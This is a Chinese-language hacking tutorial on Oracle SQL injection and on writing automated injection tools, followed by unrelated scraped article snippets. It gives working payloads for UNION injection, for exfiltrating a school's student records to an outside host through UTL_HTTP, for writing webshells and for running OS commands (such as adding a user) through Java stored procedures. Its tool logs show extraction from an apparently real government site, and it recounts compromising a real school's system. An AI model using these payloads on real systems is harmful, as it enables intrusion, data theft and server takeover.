注:这一节主要是介绍Oracle和SQL注入工具相关,本应该是和前面的Mysql一起但是由于章节过长了没法看,所以就分开了。
0x00 Oracle
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。 Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。这一次我们依旧使用上面的代码,数据库结构平移到Oracle上去,数据库名用的默认的orcl,字段"corps_desc" 从text改成了VARCHAR2(4000),JSP内的驱动和URL改成了对应的Oracle。 
Jsp页面代码:
开始注入:
Union +order by
永远都是最快捷最实用的,而盲注什么的太费时费力了。
依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。
分别提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1
和?id=1 AND 1=12
得到的页面明显不一致,1=12页面没有任何数据,即1=12为false没查询到任何结果。 
http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4--
页面正常,提交:?id=1 ORDER BY 5--
报错说明字段数肯定是4。
Order by 5
爆出的错误信息: 
使用union 进行联合查询:
Oracle的dual表:
dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录,在Oracle注入中用途可谓广泛。
Oracle union 查询 tips:
Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select
的要和前面的
SELECT * from "corps" where "id" = 1
当中查询的字段类型一致。我们已知查询的第二个字段是corps_name,对应的数据类型是:VARCHAR2(100),也就是字符型。当我们传入整型的数字时就会报错。比如当我们提交union查询时提交如下SQL注入语句:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--
Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型的时候:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
当已知第一个字段是整型的时候:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
SQL执行后的占位效果:
根据我们之前注入Mysql的经验,我们现在要尽可能多的去获取服务器信息和数据库,比如数据库版本、权限等。
在讲Mysql注入的时候已经说道要合理利用工具,在Navicat客户端执行select * from session_roles
结果: 
Oracle查询分页tips:
不得不说Oracle查询分页的时候没有Mysql那么方便,Oracle可不能limit 0,1而是通过三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”取交集不就是1么?我数学5分党,如果有关数学方面的东西讲错了各位莫怪):
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
在Oracle里面没有类似于Mysql的group_concat,用分页去取数据,不过有更加简单的方法。
用UNION SELECT 查询:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
不过我得告诉你,UNION SELECT查询返回的是多个结果,而在正常的业务逻辑当中我们取一条新闻是直接放到对应的实体当中的,比如我们查询的wooyun的厂商表:corps,那么我们做查询的很有可能是抽象出一个corps对象,在DAO层取得到单个的参数结果集,如果有多个要么报错,要么取出第一条。然后再到controller层把查询的结果放到请求里面。最终在输出的时候自然也就只能拿到单个的corps实体,这也是视图层只做展示把业务逻辑和视图分开的好处之一,等讲到MVC的时候试着给不懂的朋友解释一下。
再来看一下我们丑陋的在页面展示数据的代码: 
接下来的任务就是收集信息了,上面我们已经收集到数据库所有的用户的用户名和我们当前用户的权限。
获取所有的数据库表:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
连接符我用的是-转换成编码也就是45 
已列举出所有的表名: 
当UNION ALL SELECT 不起作用的时候我们可以用上面的Oracle分页去挨个读取,缺点就是效率没有UNION ALL SELECT高。
信息版本获取:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—
获取启动Oracle的用户名:
select SYS_CONTEXT ('USERENV','OS_USER') from dual;
服务器监听IP:
select utl_inaddr.get_host_address from dual;
服务器操作系统:
select member from v$logfile where rownum=1;
当前连接用户:
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
获取当前连接的数据库名:
select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
关于获取敏感的表和字段说明:
1、获取所有的字段schema:
select * from user_tab_columns
2、获取当前用户权限下的所有的表:
SELECT * FROM User_tables
上述SQL通过添加Where条件就能获取到常见注入的敏感信息,请有心学习的同学按照上面的MYSQL注入时通过information_schema获取敏感字段的方式去学习user_tab_columns和FROM User_tables表。 
Oracle高级注入:
1、友情备份
在讲Mysql的时候提到过怎么在注入点去构造SQL语句去实现友情备份,在去年注入某大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错就是利用Oracle的utl_http包。Oracle的确是非常的强大,utl_http就能过直接对外发送Http请求。我们可以利用utl_http去SQL注入,那么我们一样可以利用utl_http去做友情备份。
构建以下SQL注入语句:
http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
UTL_HTTP 会带着查询数据库的结果去请求我们的URL,也就是我注入点上写的URL。Tips:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。只用在浏览器上请求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。
使用UTL_HTTP友情备份效果图: 
utl_http在注入的时候怎么去利用同理,由于我也没有去深入了解utl_http或许他还有其他的更实用的功能等待你去发现。
使用UTL_FILE友情备份:
创建目录:
create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';
导出数据到文件:
declare
frw utl_file.file_type;
begin
frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
for rec in (select * from admin) loop
utl_file.put_line(frw,rec.id||','||rec.password);
end loop;
utl_file.fclose(frw);
end;
/
效果图: 
GetShell
之前的各种Oracle文章似乎都提过怎样去getshell,其实方法倒是有的。但是在Java里面你要想拿到WEB的根路径比那啥还难。但是PHP什么的就不一样了,PHP里面爆个路径完全是家常便饭。因为数据库对开发语言的无关系,所以或许我们在某些场合下以下的getshell方式也是挺不错的。
在有Oracle连接权限没有webshell时候通过utl_file获取shell
(当然用户必须的具有创建DIRECTORY的权限):
执行:
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
当然了as后面跟的肯定是你的WEB路径。
执行以下SQL语句:
创建目录:
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
写入shell到指定目录:注意directory在这里一定要大写:
declare
frw utl_file.file_type;
begin
frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
utl_file.put_line(frw,'hello world.');
utl_file.fclose(frw);
end;
/
在低权限下getshell: 
执行以下SQL创建表空间:
create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;
这方法是能写文件,但是好像没发现我的hello world,难道是我打开方式不对?
Oracle SQLJ编译执行Java代码:
众所周知,由于sun那只土鳖不争气居然被oracle给收购了。
不过对Oracle来说的确是有有不少优势的。
SQLJ是一个与Java编程语言紧密集成的嵌入式SQL的版本,这里"嵌入式SQL"是用来在其宿主通用编程语言如C、C++、Java、Ada和COBOL)中调用SQL语句。SQL翻译器用SQLJ运行时库中的调用来替代嵌入式SQLJ语句,该运行时库真正实现SQL操作。这样翻译的结果是得到一个可使用任何Java翻译器进行编译的Java源程序。一旦Java源程序被编译,Java执行程序就可在任何数据库上运行。SQLJ运行环境由纯Java实现的小SQLJ运行库(小,意指其中包括少量的代码)组成,该运行时库转而调用相应数据库的JDBC驱动程序。
SQLJ可以这样玩:首先创建一个类提供一个静态方法: 
其中的getShell是我们的方法名,p和才是参数,p是路径,而c是要写的文件内容。在创建Java存储过程的时候方法类型必须是静态的static
执行以下SQL创建Java储存过程:
create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
创建函数:
create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';
创建存储过程:
create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;
授予Java权限:
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
写webshell:
exec :x:=getShell('d:/3.txt','selina');
SQLJ执行cmd命令:
方法这里和上面几乎大同小异,一样的提供一个静态方法,然后去创建一个存储过程。然后调用Java里的方法去执行命令。
创建Java存储过程:
create or replace and compile java source named "Execute" as
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Execute {
public static void executeCmd(String c) {
try {
String l="",t;
BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
while((t=br.readLine())!=null){
l+=t+"\n";
}
System.out.println(l);
} catch (Exception e) {
e.printStackTrace();
}
}
}
创建存储过程executeCmd:
create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
执行存储过程:
exec executeCmd('net user selina 123 /add');
上面提供的命令执行和getshell创建方式对换一下就能回显了,如果好不清楚怎么让命令执行后回显可以参考:
http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833
一个不错的SQLJ的demo(犀利的 oracle 注入技术)。
http://huaidan.org/archives/2437.html
0x01 自动化的SQL注入工具实现
通过上面我们对数据库和SQL注入的熟悉,现在可以自行动手开发注入工具了吧?
很久以前非常粗糙的写了一个SQL注入工具类,就当作demo给大家做个演示了。
仅提供核心代码,案例中的gov网站请勿非常攻击!
简单的SQL Oder by 注入实现的方式核心代码:
1、分析
URLpublic static void AnalysisUrls(String site) throws Exception
这个方法主要是去分析URL的组成是否静态化等。
2、检测是否存在:
这个做的粗糙了些,只是通过请求提交不同的SQL注入语句去检测页面返回的情况:
/**
* 分析SQL参数是否存在注入
* @param str
*/
public static void AnalysisUrlDynamicParamSqlInjection(String str[]) {
Map content,content2;
sqlKey = new ArrayList();
content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
int len1 = content.get("content").toString().length();//原始请求的response长度
boolean typeIsNumber = false;
String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需要检查的对象
for (int i = 0; i < str.length; i++) {
typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
for (int j = 0; j < c1.length; j++) {
content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
existsInjection = true;
sqlKey.add(str[i]);
break ;
}
}
}
if (existsInjection) {
// System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found.");
getSelectColumnCount(str);
getDatabaseInfo();
}
}
检测过程主要发送了几次请求,一次正常的请求和N次带有SQL注入的请求。如果SQL注入的请求和正常请求的结果不一致(有不可控因素,比如SQLMAP的实现方式就有去计算页面是否稳定,从而让检测出来的结果更加准确)就可能是存在SQL注入。
日志如下:
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
获取字段数主要是通过:
/**
* 获取查询字段数
* @param str
*/
public static int getSelectColumnCount(String str[]){
Map sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
int len1 = sb.get("content").toString().length();//原始请求的response长度
int count = -1;
for (Object o : sqlKey) {
count = getSbCount(o.toString(), len1);//计算字段
}
return count;
}
/**
*获取order by 字段数
* @param key
* @param len1
* @return
*/
public static int getSbCount(String key,int len1){
System.out.println("-----------------------end:"+end+"-----------------------------");
Map sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
System.out.println("index:"+end);
start = end;
for (int i = start; i < 2*start+1; i++) {
System.out.println("************开始精确匹配*****************");
Map sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
Map sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
System.out.println("order by 字段数为:"+end);
sbCount = end;//设置字段长度为当前检测出来的长度
return index = end;
}else {
end++;
}
}
}else {
end = end/2;
getSbCount(key, len1);
}
return index;
}
利用检测是否存在SQL注入的原理同样能过检测出查询的字段数。我们通过二分去order一个by 一个数然后去请求分析页面一致性。然后不停的去修改数值最终结果相等即可获得字段数。上面的分析的代码挺简单的,有兴趣的同学自己去看。日志如下:
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+15+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+22+%23
order by 字段数为:21
skey:id=148
在知道了字段数后我们就可以通过构建关键字的方式去获取SQL注入查询的结果,我们的目的无外乎就是不停的递交SQL注入语句,把我们想要得到的数据库的信息展示在页面,然后我们通过自定义的关键字去取回信息到本地:
/**
* 测试,获取数据库表信息
*/
public static void getDatabaseInfo(){
String skey = sqlKey.get(0).toString();
System.out.println("skey:"+skey);
StringBuilder union = new StringBuilder();
for (int i = 0; i < sbCount; i++) {
union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
}
Map sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
String rs = ((String)sb.get("content"));
String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
System.err.println("user:"+user);
System.err.println("version:"+version);
System.err.println("database:"+database);
}
代码执行的日志:
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
user:[email protected]
version:5.1.56-community
database:tchjbh
0x02 模拟SQL注入分析注入工具原理
下面这个演示是针对想自己拓展上面写的SQL注入工具的同学。这次我才用的是PHP语言去弄清SQL注入工具的具体实现。数据库采用的是wordpress的结构,数据库结构如下,建议在本地先安装好wordpress任意版本:
代码如下:
".$sql."";//打印SQL
/*截取SQL注入工具的SQL*/
$paths="getsql.txt";//定义要生成的html路径
$handles=fopen($paths,"a");//以可写方式打开路径
fwrite($handles,$sql."\t\t\n\n\n");//写入内容
fclose($handles);//关闭打开的文件
$result = mysql_query($sql,$con);//执行查询
/*结果遍历*/
while ($row=mysql_fetch_array($result)) {
echo "
".$row['post_title']."
";//把结果输出到界面
echo "
".$row['post_content']." ";//文章内容
}
mysql_close($con);//关闭数据库连接
}
?>
建立好数据库和表之后访问(由于我采用的是自己的wp博客,所有有大量的测试数据如果没有数据建议安装个wordpress方便以后的测试): 
SQL注入测试:
让我们来看下m4xmysql究竟在SQL注入点提交了那些数据,点击start我们的PHP程序会自动在同目录下生成一个getsql.txt打开后发现我们截获到如下SQL:
看起来不算多,因为我没有自动换行,以上是在获取数据库相关信息。
让我来带着大家翻译这些SQL都做了些什么:
/*检测该URL是否存在SQL注入*/
SELECT * from wps_posts where ID = 739 and 1=0
SELECT * from wps_posts where ID = 739 and 1=1
/*这条sql开始查询的字段数,请注意是查询的字段数而不是表的字段数!*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--
/*........................省去其中的无数次字段长度匹配尝试................................*/
/*匹配出来SELECT * from wps_posts where ID = 739一共查询了10个字段*/
/*那么他是怎么判断出字段数10就是查询的长度的呢?答案很简单提交以下SQL占位10个页面显示正常而前面提交的都错误所以得到的数量自然就是10了。获取请求的http status或许应该就行了*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
以上的SQL完成了注入点(
http://localhost/Test/1.php?id=739
执行的
SELECT * from wps_posts where ID = 739
)的类型、是否存在和字段数量的检测 里面有许多的0x5b2f68345d转换过来其实就是占位符,为了让工具扒下源代码后能够在页面类找到具有特殊意义的字符并进行截取:
 如果你足够聪明或仔细会发现他这样写有点浪费资源,因为他的order 是从1一直递增到争取的长度的假如字段特别长(一般情况下还是很少出现的)可能要执行几十个甚至是更多的HTTP请求,如果这里使用二分法或许可以很好的解决吧。
我们接着往下看(还是点击start后发送的请求):
这玩意到底是什么神秘的东西呢?我们不妨在Navicat和FireFox里面瞅瞅:
FireFox执行的结果:
让我们来还原上面的那句废话:
select file_priv from mysql.user where user=root
上面很长很臭的SQL翻译过来就这么短的一句查询的结果就一个得到的信息就是:
有没有file_priv权限。而file_priv应该就是文件读写权限了(没看手册,应该八九不离十)。如果不是Y是N那就不能load_file 、into outfile、dumpfile咯。
接着看下一条SQL:
/*[h4ckinger]asim[/h4ckinger] 这段SQL看不出来有什么实际意义,没有对数据库进行任何操作。对应的SQL是:
select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/
没用的东西不管下一条也是点击start后的最后一条SQL同上。 那么我们可以知道点击注入点检测程序一共做了:
1、是否存在注入点
2、注入点的字段数量
3、注入点获取Mysql的版本信息、用户信息、数据库名等。
4、是否有file_priv也就是是否能够读写硬盘文件。
程序逻辑分析:
1、获取URL是否存在
2、获取URL地址并进行参数分析
3、提交and 1=1 and 1=2进行布尔判断,获取服务器的响应码判断是否存在SQL注入。
4、提交占位符获取注入点查询的字段数尝试order by 注入。
5、提交MYSQL自带的函数获取MYSQL版本信息、用户信息、数据库名等信息。
6、检测是否有load_file和outfile、dumpfile等权限。
SQL注入之获取所有用户表:
1、Mssql:select name from master.dbo.sysdatabase
2、Mysql:show databases
3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid
4、Oracle:SELECT * FROM ALL_TABLES
0x03 简单实战
本次实战并没有什么难度,感觉找一个能把前面的都串起来的demo太难了。本次实战的目标是某中学,网站使用JavaWeb开发。去年的时候通过POST注入绕过了GET的防注入检测。对其和开发商的官网都做了SQL注入检测,然后加了开发商的QQ通知修补。

前不久再去测试的时候发现漏洞已经被修补了,围观了下开发商后发现其用的是glassfish:
尝试从服务器弱口令入口了入手但是失败了glassfish的默认管理帐号是admin密码是adminadmin,如果能过登录glassfish的后台可以直接部署一个war去getshell。 
由于没有使用如Struts2之类的MVC框架所以google了下他的jsp,-News参数表示不希望在搜索结果中包含带有-News的结果。 
通过GOOGLE找到一处flash上传点,值得注意的是在项目当中上传下载一般作为一个共有的业务,所以可能存在一致性也就是此处要是上传不成功恐怕到了后台也不会成功。企图上传shell:
上传文件:
因为tamper data 没法拦截flash请求,所以通过chrome的拦截记录开始构建上传:
好吧支持txt.html.exe什么的先来个txt: 
一般来说我比较关注逻辑漏洞,比如找回密码,查看页面源码后还真就发现了点猫腻有DWR框架。
DWR框架:
DWR就是一个奇葩,人家都是想着怎么样去解耦,他倒好直接把js和后端java给耦合在一起了。DWR(Direct Web Remoting)是一个用于改善web页面与Java类交互的远程服务器端Ajax开源框架,可以帮助开发人员开发包含AJAX技术的网站。它可以允许在浏览器里的代码使用运行在WEB服务器上的JAVA方法,就像它就在浏览器里一样。
再次利用chrome抓网络请求,居然发现后台把用户的密码都给返回了,这不科学啊: 
与此同时我把google到的动态连接都打开,比较轻易的就发现了一处SQL注入漏洞,依旧用POST提交吧,以免他的防注入又把我拦截下来了(再次提醒普通的防注入普遍防的是GET请求,POST过去很多防注入都傻逼了,Jsp里面request.getParameter("parameter")GET和POST方式提交的参数都能过获取到的): 
破MD5,进后台改上传文件扩展名限制拿shell都一气呵成了:
GETSHELL: 
可能实战写的有点简单了一点,凑合这看吧。由于这是一套通用系统,很轻易的通过该系统漏洞拿到很多学校的shell,截图中可能有漏点,希望看文章的请勿对其进行攻击!
你可能感兴趣的:(【信息安全】,【高级专题】,———JavaWeb应用安全)
ES6解构赋值详解
漫天转悠
ES6 es6 前端 ecmascript
ES6解构赋值详解ES6解构赋值是JavaScript语言的一项强大特性,它允许从数组或对象中提取数据,并将其赋值给变量。这一特性不仅简化了代码,提高了可读性,还增强了代码的灵活性。本文将详细介绍ES6解构赋值的基本概念、语法、应用场景以及一些高级用法。1.基本概念解构赋值是对赋值运算符的扩展。它允许按照一定的模式,从数组或对象中提取值,并赋值给变量。这种语法使得从复杂数据结构中提取数据变得更加简
web前端期末大作业:婚纱网页主题网站设计——唯一旅拍婚纱公司网站HTML+CSS+JavaScript
IT-司马青衫
前端 课程设计 html
静态网站的编写主要是用HTMLDⅣV+CSSJS等来完成页面的排版设计,一般的网页作业需要融入以下知识点:div布局、浮动定位、高级css、表格、表单及验证、js轮播图、音频视频Fash的应用、uli、下拉导航栏、鼠标划过效果等知识点,学生网页作业源码,制作水平和原创度都适合学习或交作业用,记得点赞。精彩专栏推荐【作者主页——获取更多优质源码】【web前端期末大作业——毕设项目精品实战案例(1
linux: make & autoconf & automake & autoreconf & aclocal
mzhan017
gcc linux build
文章目录参考make首先需要写一个makefileMakefile包含的内容targetvariable两步走语法\规则定义操作隐式规则先决条件order-onlyforceFORCE变量变量的高级功能陷阱建议使用变量时,加括号/大括号变量的替换$$@$indentationmaybenon-portableautoconfM4shautomakeconfigure参考http://savanna
【高级RAG技巧】使用二阶段检索器平衡检索的效率和精度
深度学习机器
大语言模型 深度学习入门 人工智能 语言模型
一传统方法之前的文章已经介绍过向量数据库在RAG(RetrievalAugmentedGenerative)中的应用,本文将会讨论另一个重要的工具-Embedding模型。一般来说,构建生产环境下的RAG系统是直接使用Embedding模型对用户输入的Query进行向量化表示,并且从已经构建好的向量数据库中检索出相关的段落用户大模型生成。但是这种方法很明显会受到Embedding模型性能的影响,比
【春招笔试真题】饿了么2025.03.07-开发岗真题
春秋招笔试突围
最新互联网春秋招试题合集 java 算法 网络
饿了么2025.03.07-开发岗题目1️⃣:统计01串中0和1的个数,通过计算可能的交换方式确定不同字符串数量2️⃣:使用模板匹配技术识别验证码图片中的"#"符号分布模式3️⃣:构建字典树(Trie)优化异或查询,实现高效的数字黑板游戏整体难度这套题目整体难度适中,由简到难逐步递进:第一题是基础的计数问题,需要理解交换操作的特性第二题是模式识别问题,需要实现模板匹配第三题是高级数据结构应用,需要
Docker高级应用-限制容器的cpu和内存
云原生的爱好者
docker 容器 运维
